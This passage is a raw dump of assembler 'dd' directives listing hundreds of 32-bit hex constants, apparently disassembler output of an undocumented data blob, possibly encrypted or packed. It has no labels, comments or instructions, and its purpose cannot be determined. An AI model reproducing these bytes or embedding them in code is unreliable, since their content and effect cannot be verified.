52A109AAh dd 0D04AF059h, 5A273628h, 498EDE1Ah, 0DAFFF481h, 907C7073h dd 0ABBB840h, 4EF02BC9h, 269C3AB2h, 4F21139Ch, 6F82F36Ch dd 5ED430EDh, 40EADE2Dh, 46F29950h, 89D640B5h, 215A2CD6h dd 0A87565B8h, 0E0854805h, 9705D829h, 6813E852h, 35FF5F84h dd 653A8C4Bh, 0A79C7B9Dh, 0E4699279h, 0D190BFB8h, 2D805F2Ch dd 9A4E1346h, 0AB1B0840h, 90D83109h, 5AA16809h, 0B71BF956h dd 22904968h, 10BC8855h, 5DFCD62h, 2BC6C056h, 7C4B9122h dd 4F1D042Ch, 1AE8F4A7h, 0F7FC6373h, 5045D52Fh, 1E9FB079h dd 0F09CD9EFh, 2B38B986h, 29492Ch, 30085139h, 79BDBE12h dd 0E93A48B9h, 0C404E529h, 9D6807E8h, 80E1462Bh, 2B92D15h dd 14EF831h, 78505D0h, 0D065AA5Ah, 6D104FECh, 5BD84886h dd 62DEDB2h, 7FF6FAA0h, 1B7BF044h, 0E6B53125h, 62809797h dd 3735BA52h, 0F4490425h, 0D6427C6h, 0ECC5312Fh, 50F50494h dd 0BF9F6F88h, 0CDD99B81h, 0D2FB722Eh, 8B88FA5Ch, 0B98812A6h dd 0D3169C7Ch, 80E01CF8h, 659F17EBh, 5B0FA03Ah, 13B3F91Fh dd 0B2F81B77h, 6D81EA4h, 0C4E4B17h, 5144330Bh, 9FB4A45h dd 53DC508h, 0D8177068h, 49094E0Dh, 0DC5805EFh, 1E6700EEh dd 0E8C17F7Ch, 168D074Ch, 39FF02AEh, 0C41E969Ah, 0A4A85E56h dd 0C3CAAEA4h, 7C8364Fh, 0BDC15ED2h, 69AC6850h, 6CD42D8Eh dd 665C4931h, 211A4569h, 4F5F2E5Eh, 672408D2h, 315D5E8Dh dd 0D816C02Eh, 0E2ED30Ah, 4701844Bh, 2152837Fh, 0C397006Ah dd 0FD7CF5BDh, 0E9DD0109h, 99B3D8A6h, 0E034C2DAh, 43822C05h dd 3AD5F668h, 6210C07Eh, 0E91EB252h, 38076735h, 8A7A62AFh dd 0FF5C9BA5h, 95E64435h, 0D2096A12h, 0E93F12Fh, 4EFCBC09h dd 38D002B3h, 9DB1E4DAh, 45F4A9D8h, 0F5F9FB69h, 774B2E01h dd 0BF35C479h, 3FA30E0Ah, 138B957h, 0E953FD41h, 0A26D7287h dd 0A55C7C09h, 189FF8Fh, 2B79F598h, 63434825h, 0A062F256h dd 874C88C7h, 20FF9001h, 58125CA5h, 0F8B4895Bh, 6CFBFA50h dd 6815F598h, 883F7F26h, 748451D9h, 49595277h, 63905F07h dd 1D54EC68h, 9D5AD3F8h, 85A22BE8h, 5CFB0777h, 0A7CA7919h dd 6CD24CFAh, 9B5754ABh, 4C63AD4Ah, 4DC02059h, 65274129h dd 0DE7F7072h, 0C4AFEE27h, 0F8AF8372h, 9063B63Dh, 48060F9Ah dd 0C4861B2Dh, 361DC26Fh, 52A49B1Eh, 96613B02h, 3666035h dd 48F21A73h, 0D4406609h, 0B92F5C0Ah, 0B09BD874h, 0EF82A153h dd 37E1E0FAh, 395981ADh, 15801877h, 2668D899h, 0C0B77974h dd 1D436FE7h, 74D96FAh, 51328302h, 0C6E99999h, 0F808122Fh dd 0F2810316h, 2616AE5Ah, 50C8D554h, 0F19F5EF5h, 50FC492Dh dd 0C86A0C59h, 0F31435AFh, 9E98F79h, 0F1E3ADE9h, 0E9476CA0h dd 830E4B5Ah, 623CD80h, 0CF942B41h, 60529704h, 0BDCE4B1Dh dd 0C52608FEh, 3327E30Ch, 0C5DDCA99h, 6C89A752h, 742F7F7Eh dd 9F493B27h, 5B483575h, 0BF0BFF65h, 4A060002h, 90373D49h dd 0C0CB2561h, 0B5C23193h, 0EE0445DAh, 682809E7h, 0C44333C0h dd 18674925h, 0D3FE1C19h, 0EB069FC3h, 5BDD2886h, 0BF7B407Eh dd 9B17D80Bh, 7D905F07h, 3C176B50h, 4F0473Ah, 4B350B0Fh dd 7E97E9h, 7A13FA97h, 5A5F0BB4h, 0C452FD52h, 0F2ECDC5Bh dd 0BD841793h, 7EDD603h, 52E8E916h, 1D79EBA9h, 752A8C3Eh dd 9F42B040h, 50EA08E8h, 0CD8F9F17h, 0CF01D453h, 5D331AABh dd 8C83FF41h, 0BB85BE04h, 16AE8BFAh, 0E167EA54h, 3CB0729Fh dd 0B060BA5Dh, 0B88340AFh, 5F7F8C09h, 0D180574Bh, 1D046405h dd 0FE91F13h, 93580CC2h, 4BBBE27Bh, 0E196CA79h, 30019B2Eh dd 5C40F8C3h, 25719495h, 6AECF0EBh, 0D31A015Dh, 56577861h dd 5F4A7280h, 68E90C08h, 163AC9B6h, 4FE3147Ah, 26ED3E10h dd 788553Bh, 0F2C125Ah, 0F924AD31h, 0F3DAFF09h, 625C7965h dd 0F154020Dh, 20955235h, 5873E0Fh, 33EE6CCAh, 734F1145h dd 0BC2BF480h, 0ECCABD76h, 7F1C080Dh, 555798D0h, 78210468h dd 805D59B6h, 54630791h, 0ED010C76h, 479B0FDCh, 697C71E9h dd 0F7226B87h, 0B015B498h, 0E416BF2Eh, 0B5F8B72Eh, 734C8204h dd 0CCF9A101h, 182CEF1Fh, 12004093h, 29499F46h, 9CCA2F9h dd 0BA76508h, 0ACFCC821h, 0C531080Eh, 62BF2F68h, 9D4A6BC5h dd 58FCF5Dh, 90C5C8E9h, 685EF100h, 37E12B4Fh, 0A23B6C25h dd 861DD310h, 0BD2D4A60h, 0E78B5AFFh, 4BF1AB10h, 837DF4C0h dd 9929027h, 3AF5B092h, 0B8876884h, 0F755C411h, 0F848590Bh dd 8A1B5662h, 0E211011Bh, 850C9244h, 46BFB9B5h, 1E4C2954h dd 7420A390h, 0B0507FBh, 0A4DA6F99h, 0AB6AD542h, 470302Ch dd 5B7A5263h, 0F096C131h, 0E3C10162h, 9C31760h, 821D2184h dd 0B97C7589h, 0D8E9A252h, 26A309B7h, 0EE840B0Eh, 909234C4h dd 27935C88h, 431C130h, 83587C88h, 7483BFD0h, 5725BBFCh dd 40217611h, 0CB80DBF6h, 34158E58h, 1CFAA581h, 0BE97C41Dh dd 5214BAF4h, 2777B61Bh, 0EC5E0AE9h, 4ECDEF83h, 0DF01D962h dd 813A644h, 54D99809h, 0BEFA6FA9h, 2ECA9677h, 0C23B7899h dd 5207B85Dh, 596D58E6h, 70120309h, 0DE9BE95Fh, 76D2A7CBh dd 68DBE936h, 7875021Ah, 398762C7h, 49F9B777h, 5180A789h dd 428B2CE7h, 980A57D1h, 74721810h, 29C77EF8h, 13A276AEh dd 89670106h, 7A40472Fh, 0FDDC18E1h, 0F572FE9h, 43905AE8h dd 0F73DCD09h, 4BF901D2h, 0E03F873Eh, 2318AF18h, 0EA1D478Eh dd 0BC5A1328h, 138DF81Ah, 0BB206FE9h, 0FC286C5h, 0EA214A30h dd 0ADBB16BCh, 0E65D1020h, 33071279h, 0B186E02Eh, 77267304h dd 91AE6C68h, 92A1E7D4h, 22FBC751h, 3BEA3894h, 0A565457Fh dd 58B944E8h, 51211A25h, 38BF83D7h, 3193E872h, 0C2A9F616h dd 92F3BF24h, 0FCED125Fh, 562DB2D3h, 296804B0h, 0D8B08D5Dh dd 0F4925B55h, 735BE4FCh, 0E9C2E2EDh, 0EC75E8E2h, 0B8F2882Bh dd 5DF6F9C3h, 0E92F491Eh, 0DC438BD2h, 0E95758B7h, 0BE1A224h dd 0BB0F6661h, 0C311B922h, 1DF04856h, 2946451Dh, 0E8125DEAh dd 1ADD7EEEh, 81B892Dh, 3E28277h, 0BBEF97Bh, 907F130Dh dd 73685D60h, 9DB7A69Fh, 0C07E4FB2h, 0B7972F58h, 0F601BFA1h dd 0FB5AE8D3h, 70B85080h, 3E7700E4h, 8B69EC0Dh, 0D048F77Fh dd 0E80802D8h, 7401BE48h, 0C129C002h, 961EE9h, 59E75617h dd 4D05FF91h, 802E6F27h, 0D264C4Ch, 1C8893E7h, 223039BFh dd 0E6C1C031h, 0B717E908h, 70B95A00h, 6202D719h, 3159CD89h dd 6A8361EEh, 0A5514502h, 1EBA8049h, 0B3EBB7Eh, 0D4BFE95Dh dd 922082E6h, 3CED9C73h, 5FEE8B17h, 0C525927Eh, 6929EB57h dd 4BA93890h, 964F17E0h, 0ADBD2CADh, 66B0A116h, 822F2B9Eh dd 0C8C1BE80h, 173F4EE7h, 0BE090E91h, 61FC3340h, 27E916A2h dd 60D1D9CDh, 0AFCEF1A5h, 0BBA44B7Eh, 0E72C3C0Eh, 55620170h dd 530885BDh, 6E73F700h, 5BB4690h, 5C9B3AA6h, 0CADAC131h dd 41FF058Bh, 1220BD4Ah, 0B7944203h, 984A494Ah, 241B4FDFh dd 76A12563h, 3B8830E9h, 4606EA92h, 0BB26B95Bh, 2A85D258h dd 0E7F5440Ah, 8B9BD508h, 0EE90932h, 5A925DC6h, 0B900AB78h dd 73C248DDh, 2659CE29h, 28E72158h, 68070955h, 90463E23h dd 6082B3E4h, 507D2EA7h, 7EED53Bh, 745D179Eh, 9DE67046h dd 330A607Ch, 82D7A0E9h, 6A53C78Eh, 8D504DFBh, 6B9CBDF3h dd 0D8D7665Eh, 9EEF5325h dd 7FA84BF3h, 0E6E0139Fh, 0A6AC5E2Ah, 4E599D3Eh, 8DF21985h dd 72743E72h, 1DA8B765h, 0B978735h, 0FB6EA457h, 0CD409FB0h dd 5E2440D3h, 0B44B544Fh, 10B3513Bh, 26553BEFh, 509F0705h dd 2AA06E0Ah, 9F1BC4CCh, 4694571h, 420097CFh, 5CEABF57h dd 531F411Fh, 0D8838657h, 2564255Bh, 0F1B50258h, 585C58FDh dd 2177292Dh, 0C449E907h, 0BDBE717Ah, 0C18000FCh, 0C828279Ah dd 94A588F6h, 27F7907Ah, 4C441768h, 0D7BB5302h, 0C139AA1Dh dd 0B200D68Dh, 0D079283Bh, 84DC8C29h, 0BB08C000h, 0F1EA011Dh dd 5D0886CAh, 8957BE1Eh, 4AAB98E9h, 28C124E0h, 406EF1A1h dd 0A46A9D8Dh, 30E62D5Ch, 1AF65BCFh, 6BC03D4Dh, 0E44FA8BEh dd 93B7084Eh, 1597E92Fh, 2B41C351h, 573CC423h, 977FB480h dd 18E0E960h, 7A0927DDh, 3EF7B82h, 0BB1F110Dh, 417435F9h dd 2A573685h, 9C080206h, 42C50491h, 0C0607427h, 323FF05Fh dd 0C921CEB8h, 0ADB9409Bh, 27128031h, 0FC8773E9h, 82741FE7h dd 0A0BDB7D0h, 2CD62C33h, 642402A1h, 6DD445CCh, 6271C500h dd 5EE99836h, 87E80A3Dh, 0DAC201AFh, 0F459343Ch, 9BC0E8BBh dd 0B204F9E6h, 484985Ch, 556B2F92h, 0D08F8048h, 0F7F8B123h dd 4BCDA5Ch, 60E506C1h, 0F4D73E07h, 212FAB8h, 0FAF213BEh dd 0E206E25Bh, 4B165D47h, 72906812h, 0F6237936h, 0BEF2955Ch dd 68AD10D7h, 0A3C7BEA4h, 9051DECh, 7D177B5h, 781ED58h dd 0CB993A5Bh, 7E1BC82Eh, 0ACE22AE5h, 30527D10h, 4CB4FE51h dd 5730289h, 23955A5Bh, 282DFAC0h, 567A491Bh, 157FF00Eh dd 46E7C1Dh, 36A1FBE6h, 28D0AA89h, 60091074h, 0A784E48h dd 0D0024E3h, 1B6B3017h, 0C0A8E7E9h, 69793570h, 16F49DBh dd 0F9EBAB3Ch, 6C470355h, 43D95476h, 0EA313FAFh, 8C7F91A6h dd 154968D3h, 224B7E4Fh, 0F01A00Bh, 0F67FA993h, 0A80C9733h dd 219DE0F1h, 227898E1h, 0E7096382h, 829964ECh, 3B3FCEFh dd 89BFC821h, 0F72DA7A0h, 311CEB2Fh, 36CFC105h, 0CAA7E55Eh dd 38839595h, 0E33B5F98h, 869D109Fh, 51C22A7Fh, 0F668140Fh dd 0BCDFFE46h, 9209E19Dh, 0B8A2091Ch, 4295464Eh, 2D94FDCEh dd 9CC13802h, 0F58218E9h, 0F990C7E4h, 0D9D1CC12h, 0ABF913BEh dd 8BB64544h, 0F5F3E113h, 0C6068008h, 0E917B353h, 47A25D29h dd 0CAFA9576h, 0D99A0290h, 5341C390h, 96FDB22Bh, 0BD7613BFh dd 67FFE42Dh, 0E67109ABh, 17A45B92h, 747A95EBh, 0BF67E915h dd 68B84AF0h, 767AF510h, 0E1F68990h, 0CE90B174h, 7F784B09h dd 5A42557Dh, 895B0801h, 2FA467D6h, 7249FE05h, 0A272C1F7h dd 0A733F23h, 356368E1h, 82019680h, 0AA7C581Fh, 4FC2173Fh dd 86F938AFh, 0D2A7F741h, 91809F52h, 7C69BEE3h, 0EBFB68C4h dd 0B0ADE8FCh, 138D5B74h, 0E5B6EC1Ah, 0BC282BAh, 0F92503DEh dd 4C95BD87h, 0BD0EEE80h, 7937D78h, 964060BCh, 53FAAE89h dd 0F8E05EB0h, 0BCA82BD3h, 81C0C912h, 4D0B5A9h, 16B89881h dd 0D5295A8Bh, 0F79E4771h, 3AE45A30h, 0F1B34E56h, 0D56AC8Bh dd 6C5259A7h, 9225E9BFh, 4192925Dh, 0B37EA0F6h, 0CB611226h dd 2986CEADh, 7620E15Fh, 270190D8h, 0DCDC068Dh, 0DE0C895Ah dd 0F72943BFh, 0F68BA2BEh, 7AC9BFE9h, 15A2188h, 4DBD5542h dd 2C980E56h, 0D9212CC9h, 3C67D908h, 95757064h, 5ACF8ED7h dd 0AEDD79B2h, 64D57248h, 15E5602Dh, 0C91812BAh, 3125257Ah dd 512E76A2h, 1D2C7FD3h, 52402E68h, 2636C2A2h, 6DF9C075h dd 72492442h, 0A1510898h, 20B3BD00h, 0C0095D90h, 1BE281E4h dd 6589E4Ch, 6EEE0373h, 0F2527695h, 0E9F1815Ah, 0C650C654h dd 0CE26712Dh, 522A1F08h, 0CBF9E948h, 48CE56C9h, 0BE660394h dd 0BAA017CFh, 0E9164A8Fh, 51E48D21h, 0BB884086h, 4C3FA009h dd 0F78F202Ah, 8143D3h, 784E22CBh, 0B166832h, 28826697h dd 0E3A106D0h, 9D6A92F5h, 0DB893EEEh, 0F2E9D6E1h, 90E5F283h dd 1AF9BE88h, 0DF87A95Dh, 0EC0270A8h, 1693C75h, 432E2F5h dd 0CCAB5E08h, 7241D141h, 7B55B13Ah, 2C3B92A5h, 665FC3C1h dd 48BC95A0h, 0F6C7834Eh, 2906B9D0h, 0DC60632h, 9027A9E9h dd 6FF60F10h, 6364CFF4h, 0CC1D13CEh, 0D844E1D2h, 85FBDA29h dd 0F7CAFEF8h, 24D9DB14h, 321CF807h, 54CEB574h, 30108BBEh dd 2BA12BBh, 0F8CE14C8h, 0A7074C0Ah, 29C31A6Eh, 409E2D1h dd 72DB1EE9h, 4A4078E2h, 5EDD09B0h, 0E268F6BAh, 0F997BDD6h dd 9270A98Ah, 8927E9F8h, 4B06D653h, 0E0BB1F4h, 58875DE1h dd 0C3EAF517h, 0C9C0D1FBh, 0DC1F541Fh, 8DE84113h, 79B34F1Fh dd 8AA5F141h, 1F7E3BD7h, 8DC3C1A8h, 9E2A4701h, 0E38B7E0Ch dd 0CB20842Eh, 0CDFE5A00h, 3E39E580h, 0A482CBC0h, 87BE00EBh dd 273DB36Bh, 603EA54Eh, 1893BF8Dh, 0B2651E3Ch, 2B035233h dd 9BF38175h, 0FF648A04h, 68133F64h, 62057632h, 8434A53Ch dd 0C01D99C4h, 0E05BDF10h, 0F240FEE2h, 0D09D00B0h, 44B753E0h dd 0A94BEF80h, 0B028D7E0h, 96CCF3EAh, 0C78DB008h, 2F04441Eh dd 612CF8C7h, 6A52665Bh, 1C8E1F2Ch, 85CF8853h, 0A028E9FAh dd 39BC5A2Bh, 238B6804h, 2A312DBFh, 552598BDh, 1D60F5F9h dd 0B7773D0Bh, 576C5D40h, 0DE354100h, 0E9130475h, 25D5BCC7h dd 351E5DEh, 0BB01B555h, 0F907E68Ah, 0D2679970h, 7E8DD96Fh dd 0E4B8C920h, 314F003Eh, 7A25E8D1h, 435C281Dh, 48081D82h dd 2D02833Dh, 0CD075C7Bh, 0AA9235FAh, 0F2F82891h, 6875387Fh dd 0A3429731h, 2D0057FEh, 0CB98F8A4h, 0CE4BEEF4h, 80C9CBFCh dd 8FACA657h, 4CC93034h, 764DF25Bh, 0EAFF4097h, 0A92E02CEh dd 7B45E97Ch, 549431D7h, 0B89AC67Fh, 7F98797Ch, 3C0B7E90h dd 8342964Bh, 0EA07381Fh, 0DBB4804Fh, 3D1F8E22h, 3F8550Dh dd 2C162D75h, 99D06DB6h, 0C07062Eh, 0F031D8F7h, 0BD08C626h dd 0E02D0158h, 0AE2313C8h, 3169B082h, 0FF71A8Ch, 95276A7Eh dd 3C1D7489h, 0ACDDF8CBh, 61BB0B05h, 8F54A8Eh, 6809070Dh dd 94B1D71Ch, 0EADCEDDEh, 2141E6D5h, 19BC0B1Ch, 6A952B5Fh dd 0A67CB7AFh, 787FF153h, 0BB699C3Fh, 0AE68743Eh, 0C32D9C1Eh dd 4BFBA933h, 66EDCB81h, 2F5D5558h, 59015409h, 4106680Fh dd 96E6F7E9h, 56BEC33Fh, 55032C95h, 1E58F8B4h, 1881BBD0h dd 8DB38BB6h, 66D82827h, 0E7F0F079h, 2D01EEF2h, 74C259E9h dd 6CE0E455h, 0EE2A4793h, 376EFA0Eh, 98C6C078h, 0B715B136h dd 8834272h, 5A141C40h, 2DF44D95h, 0E42CA253h, 0D8A842h dd 0F65CCD80h, 0ED76D575h, 7E67C5F0h, 0EB051806h, 68C575C5h dd 0FDF1660Bh, 5034E696h, 0DAEBDBCh, 0F3F8EF99h, 9E16EFBCh dd 7C0722CBh, 0E31F9428h, 0D4D7AEFh, 0CE502C26h, 71540263h dd 5FF9EE5Bh, 0E928C971h, 0A5D9EB21h, 31282561h, 81D82F15h dd 0BFB84044h, 954C560Fh, 48EAB272h, 6B2406DEh, 79A75C2Ch dd 4100C90Fh, 0C3D7E90Bh, 0C6304D93h, 2A0F5568h, 0F897778h dd 8887F0ADh, 27CC06F3h, 0D1349998h, 72C0065Ah, 75095EF8h dd 91424968h, 8324834Ah, 6E147D4h, 7E8CCDF2h, 7F5A6B31h dd 5E9398BBh, 6C92CEAh, 5BDE640h, 14860709h, 4404FA29h dd 0EFF4CD3Dh, 0F6F816B4h, 75950C3Bh, 594ACEADh, 8DF6B8A8h dd 68555905h, 0FF496B26h, 0D949C206h, 0E93DEC24h, 7C807525h dd 0B6FB636Ah, 5E581025h, 2B0B7BB7h, 59760F68h, 3FF985Ah dd 0CF4A0DE9h, 56E4D997h, 0B8E41C2h, 0E5AE6B76h, 0CB4EF9D2h dd 0FEB128E8h, 373F6C95h dd 62B1D5FBh, 71D65D97h, 77A340C2h, 0EBCA009Bh, 509DCCF8h dd 419F0EEFh, 0F6C0064Ch, 528AF9ECh, 0E9F30106h, 76287464h dd 0B45A5Bh, 763405BEh, 0A4F45191h, 200E03B7h, 237C10E5h dd 319D50FEh, 0AEF46012h, 0CB5F390Fh, 0AB58E2B7h, 0F2FD0071h dd 58D96EA2h, 1448B251h, 6132027Dh, 55E9648Fh, 0D840D149h dd 3991984Bh, 0D0E3DCA7h, 624E9DE9h, 27353DD0h, 0AA88E9BCh dd 0FB2FBF6Ch, 0FD143E53h, 2C8B979Ah, 31B3B8DFh, 0B70F1DC3h dd 956884C0h, 107DA251h, 2D2556A9h, 89ADD274h, 25B65401h dd 20341657h, 0FCDDEDB7h, 0F0A56FDDh, 0F872BD8Ch, 8D6020F4h dd 3DAAC123h, 0C06762D1h, 5CD15EA3h, 2DAE8588h, 0E3027972h dd 6897B151h, 8EFE79C6h, 0C70560B0h, 0E85CEF58h, 6BE9DAC2h dd 33A9A0C1h, 9B59D768h, 4E3F0781h, 7C015285h, 5C7EBA7Fh dd 68765894h, 0EE525E80h, 0D7E25BAFh, 48A8C219h, 0B22052CCh dd 0C90B27E7h, 0EF10BC5Ch, 12FA041h, 7BE954B8h, 60757BEDh dd 17A653BBh, 0AFE185C6h, 57161B01h, 0F875C85h, 0BBF063A9h dd 0A4000462h, 38560FF4h, 78405890h, 5EF57789h, 0FF9C16A7h dd 1357A87Ch, 0C89B16E9h, 6804519Dh, 44A76439h, 0EA5800FFh dd 89EFEC1Dh, 62D9CA4Ah, 0EC9AD42Ah, 1ED61DB0h, 0F0B37397h dd 1A210A41h, 5EEFA33Bh, 775FC822h, 23669F09h, 0F3778997h dd 0BA4B2CA2h, 23C5A4Dh, 5CCD5BBDh, 2E30907Fh, 5063BB72h dd 0E2728852h, 0C5AD733h, 0C3BAC4FAh, 0E2975826h, 3E1592Ah dd 0E3280150h, 927C31DDh, 0B98FBE03h, 0D5D2AED0h, 73B7B878h dd 82B81650h, 66555908h, 8709258Eh, 69B116E8h, 6D2A5881h dd 72412026h, 651A8293h, 13E0D539h, 152C8613h, 0A41358BCh dd 0F57C69AFh, 4126A77h, 0EAB324BFh, 8D0C7599h, 938F2DE9h dd 3624D151h, 7A7C68C1h, 8B20A67Fh, 50EB7C5Ch, 0E9BF28E9h dd 842BEBF4h, 656F8282h, 0A2C2940Dh, 60088B7Ah, 80B2D3ABh dd 455B6E68h, 625F1BE6h, 1DD477A8h, 2D48D42Dh, 0B40947D4h dd 0E91CDC46h, 0A5BB91F7h, 4B21FA2h, 363EED05h, 5ACA16Fh dd 0A9578207h, 63E4148Eh, 344FB374h, 0E7047956h, 0D6CA99FEh dd 1A50CC4Ch, 0C76695B4h, 62AC7197h, 0C8F1E358h, 756EA6BCh dd 1E5EA5h, 0D1082F5Fh, 0BD0F55EBh, 5FC02420h, 47CCF581h dd 0A42A6A94h, 725CB66Bh, 3B0B6F1h, 5E3D1CB9h, 0E1F84114h dd 3B3038B7h, 35910C39h, 0EA0D485Ah, 5CF5757Fh, 0C9334DBBh dd 0EAEAF2FFh, 5EEAA7F7h, 5925C4EAh, 130C91BFh, 0DE39399h dd 4ECCCB10h, 0B284BB85h, 0B951A940h, 4F7D6458h, 8C3E4018h dd 491F0121h, 305AE9E2h, 8C7E81B1h, 24E575Ah, 29E94098h dd 4FBDF60Eh, 889F5764h, 23B27CB5h, 0C9E7799Dh, 7EAC7E00h dd 1255D2Bh, 1C59D0F5h, 9DDB781Ah, 69A0D4E9h, 12D78784h dd 0EDEC16EBh, 597C81FAh, 0EF20119Ch, 0E938BED0h, 0CA685FC0h dd 38637855h, 0D7F718EEh, 6060E90Bh, 8EBAFBC0h, 664F47B4h dd 8101A1B2h, 0EF31A8E6h, 0AA002E27h, 0E96A2212h, 0B68955B9h dd 4FA002F9h, 49FD39Fh, 10AA0EA8h, 0F64520E0h, 5D593955h dd 80D6E7F5h, 68CD87C6h, 5D24B7A1h, 3A14A120h, 8B5FA6CAh dd 47E90924h, 6BD471E8h, 68612779h, 0E36E5535h, 4AE90C02h dd 0CB83E85h, 5EFA3FC0h, 0DBBDD814h, 59343DF1h, 5EE3FC15h dd 538943ACh, 7E523174h, 0A4CC62AFh, 1689BE00h, 297118DAh dd 0BDE166F2h, 52A6481h, 0FB47F3ECh, 0E6D15E34h, 8C3F4F27h dd 0AF52AA30h, 0C0893F6h, 34BB3CCBh, 1FC2A6A5h, 0B4A44C55h dd 4F5692Fh, 0B84073AEh, 44FE5C98h, 12C93501h, 0C53126D8h dd 0CAED9F40h, 0FBD92699h, 70681014h, 545AF325h, 6E4AE203h dd 2F486C5Fh, 0D35B2E3Ch, 70E85245h, 0F8380996h, 578B1F2h dd 7EE48C4Bh, 0AC2D4AC8h, 42F189E2h, 1B30D5B5h, 0A983EC17h dd 303A43EEh, 0CD02FEAEh, 460014Ch, 20BA62A1h, 0E92580FAh dd 9799EDCFh, 3C10BCA1h, 0B5945F22h, 2EC89A5h, 75038097h dd 0B8B37247h, 0EA552FE4h, 0F097C402h, 7B6BF20Bh, 7E9297B2h dd 0EF987DC0h, 76454082h, 84D58278h, 82EA5A4Fh, 0E7DEA0ABh dd 0A5915D4Bh, 0B0B3FBFAh, 6171FB22h, 0E368AD66h, 87F2791Bh dd 8DC05657h, 783F950Ch, 789B05Eh, 710F2F12h, 0FB9030BFh dd 2673E9E0h, 9A026082h, 34500033h, 6963E581h, 85A1544Ah dd 0E4DCF68Ch, 72A94992h, 0BE3DB5Eh, 0C8DEEBE9h, 2C12C867h dd 0ADFDAB0Bh, 2F5E1D56h, 1E6714Eh, 0D44CA725h, 74B070FBh dd 0C01E01F2h, 0E70303E8h, 0BDF8DE9h, 88FCEAB5h, 0BA04CA04h dd 7E49A809h, 35E8A5B7h, 5DC056F2h, 0AF713ECEh, 2629072h dd 7888365Fh, 0C950F729h, 2BC1DBE8h, 1D9596C2h, 0FDE5CA41h dd 68575100h, 5D53980Bh, 0C01EF62Bh, 156380CFh, 17E82760h dd 1C1374C5h, 14E9F989h, 8705767Ch, 44226768h, 0F5BBDC83h dd 59984119h, 816600A3h, 271558CDh, 0CCA1A52Dh, 7A47D6EEh dd 0D0DE13B0h, 8F5808C2h, 716C0C12h, 8C6521DDh, 45B43969h dd 425103E3h, 0D3F73E02h, 0F305F07Ah, 0A4996DAAh, 0C1B9DA82h dd 0F53F610Dh, 0A40807D2h, 7E35E1E6h, 13C414F3h, 8CBC1642h dd 56CA010Bh, 0DD68D01h, 428F3075h, 146E7641h, 0F11323FEh dd 29E8C2F3h, 62638257h, 0B95C05BEh, 426F25F7h, 0C0B77A0h dd 509F4254h, 0B28B6749h, 0B7C77FF2h, 9A9CE985h, 68093CA2h dd 187D01DFh, 0B54F936Bh, 83822C1Eh, 0DFA4CAFDh, 7278A402h dd 0BD78667Fh, 5858D9DAh, 77BD028Fh, 0E028FA27h, 0F629E215h dd 0EDC12443h, 3E50D52h, 0BA672007h, 930250Eh, 0D4A157E9h dd 2F76726Fh, 0DE889AA3h, 585A3090h, 81EF71B7h, 6977BF57h dd 1F02860h, 2C0747D2h, 0C430DFF7h, 74E7F602h, 3A8C28B5h dd 2F907ABCh, 6F783208h, 610971B7h, 85412DE9h, 3D846876h dd 6E83008Dh, 4A0A07DFh, 52CEA58h, 94E9C765h, 32DE2A0h dd 74E6592Ch, 6D99AC35h, 589440D0h, 0E9170389h, 61A55DF6h dd 87E4A2E6h, 0D84094Eh, 810D0940h, 2D6A76D4h, 40605F3Fh dd 21A30735h, 0DF25E9C6h, 728554D0h, 1B718F5h, 0BDEFA1CDh dd 1A0CEA05h, 37E422EBh, 0D4ECE056h, 42EC1778h, 20478FB1h dd 4F4499A6h, 0BD5C40F6h, 5819410Bh, 0DFB00008h, 2EA493F9h dd 0B2CDFD87h, 0F280DD08h, 764807BBh, 2C090790h, 80EA73E7h dd 0B37EDC13h, 0EF010A57h, 2408BE56h, 0E95D8E48h, 0ED814368h dd 5C847326h, 0CBBFFE44h, 2E832050h, 82D950E9h, 5866E330h dd 0EBD740FFh, 0C2DAE034h, 496E93Fh, 94367FDh, 8F53464Ch dd 0B040CA28h, 49D29F5Bh, 1237510Fh, 4CD60902h, 2717F669h dd 0FBDC55A6h, 0BA004D26h, 0E9767F02h, 8C754E36h, 0AFF4DACFh dd 0C36B5D41h, 0EC044D8Fh, 25996F5Bh, 8B6109EEh, 0F1A65079h dd 0CB74DEA7h, 96B5ACC6h, 9521A481h, 5D979776h, 73488309h dd 0C65F499Fh, 136DF97Eh, 548C310h, 33C56853h, 56819B45h dd 0EF7020EEh, 0B32E5542h, 3E42856Fh, 8380AF8h, 411F8C99h dd 0FE06A8FEh, 5D5B0304h, 84FE4E6Ah, 4956C0ECh, 384ACF51h dd 898A1581h, 0D9405D02h, 663E10E1h, 0FA0D161Eh, 645AA532h dd 6DB63171h, 3A03379Dh, 9FDAB428h, 2A97AA94h, 0FC3ECA16h dd 57505294h, 59668092h, 0AC3E2C3Eh, 0CB1AC83Bh, 24EE56FFh dd 0F1F01A67h, 0A14089DFh, 0F7273905h, 4B1F2660h, 35EB47B5h dd 294CC018h, 0F19559CFh, 0E6A7A294h, 0A5BE172Ch, 6F974BCEh dd 0B6F1ED6h, 0D3BDA9E2h dd 8FE9C17Ch, 84287E66h, 60C64144h, 7B40B1E2h, 25D490ACh dd 5B7C5204h, 50B53202h, 0A9FE6130h, 0D160DBA7h, 147CAEBEh dd 2F4E09Fh, 0B05080ADh, 9EA0AB98h, 77C17122h, 9D2F56C5h dd 7FF0F531h, 0ADA7B37Ah, 0FE3DA8F0h, 10FF484Fh, 893B9486h dd 1ECA552Eh, 853BCBCBh, 198A0D3h, 0C0A2E31Ah, 0FE71C66Bh dd 599D1876h, 40670307h, 0C025AADh, 22E6BC80h, 0D1B04089h dd 6A29AA64h, 4901822Bh, 0FB9A7DB6h, 0D5179CF3h, 0E9D087E8h dd 3B11882Dh, 157A3D54h, 2F2FC90Bh, 2DFACF55h, 766CEA7Eh dd 48E97D54h, 0EAA445B3h, 58AF0C83h, 0B78441A1h, 0F8010477h dd 57C1482h, 5296605Dh, 65779DBAh, 0D1F87B5Eh, 523DE912h dd 3BAB6CC9h, 91715F5Fh, 6EF55550h, 3112163Ch, 0F80108EFh dd 5D49291Fh, 0AF147F51h, 20C7CEB5h, 59763D78h, 4DD11973h dd 7F321A9Eh, 0A64A544Fh, 19A49Ah, 664B42D7h, 33F18268h dd 0B4512677h, 1229E712h, 9CAD9930h, 4524543h, 0B5486F2h dd 9095E65Ah, 0A8175B7Eh, 48E90BAEh, 0EF9B579Ah, 0A952ADCAh dd 13B6E23Dh, 0E081988h, 934A1D80h, 2B8AA5F8h, 405CE1B4h dd 0FC5888DCh, 0EBF53653h, 823CEE53h, 61B130C0h, 29067D09h dd 90B346FDh, 2C58EA16h, 8CEC989Ch, 0C58953EFh, 5C859950h dd 40ACFABDh, 5F255B50h, 5E205631h, 972AEA21h, 8752ABBDh dd 0B646216h, 826985BFh, 1AC06FE1h, 